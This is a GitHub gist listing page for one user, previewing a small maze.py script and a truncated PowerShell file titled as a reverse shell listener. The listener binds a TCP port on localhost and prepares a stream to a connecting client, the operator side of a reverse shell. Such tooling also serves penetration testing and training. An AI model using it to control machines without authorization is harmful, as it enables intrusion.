Skip to content

Instantly share code, notes, and snippets.

4d4c

Block or report user

Report or block 4d4c

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View maze.py
import copy
import os
import time
MAZE = [
["#", "#", "#", "#", "#"],
[" ", " ", " ", "#", " "],
[" ", "#", " ", "#", " "],
[" ", " ", " ", " ", " "],
["E", "#", "#", "#", "#"],
@4d4c
4d4c / mini-reverse-listener.ps1
Last active Dec 26, 2019 — forked from staaldraad/mini-reverse-listener.ps1
A reverse shell listener in powershell
View mini-reverse-listener.ps1
$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);
if($socket -eq $null){
exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;
You can’t perform that action at this time.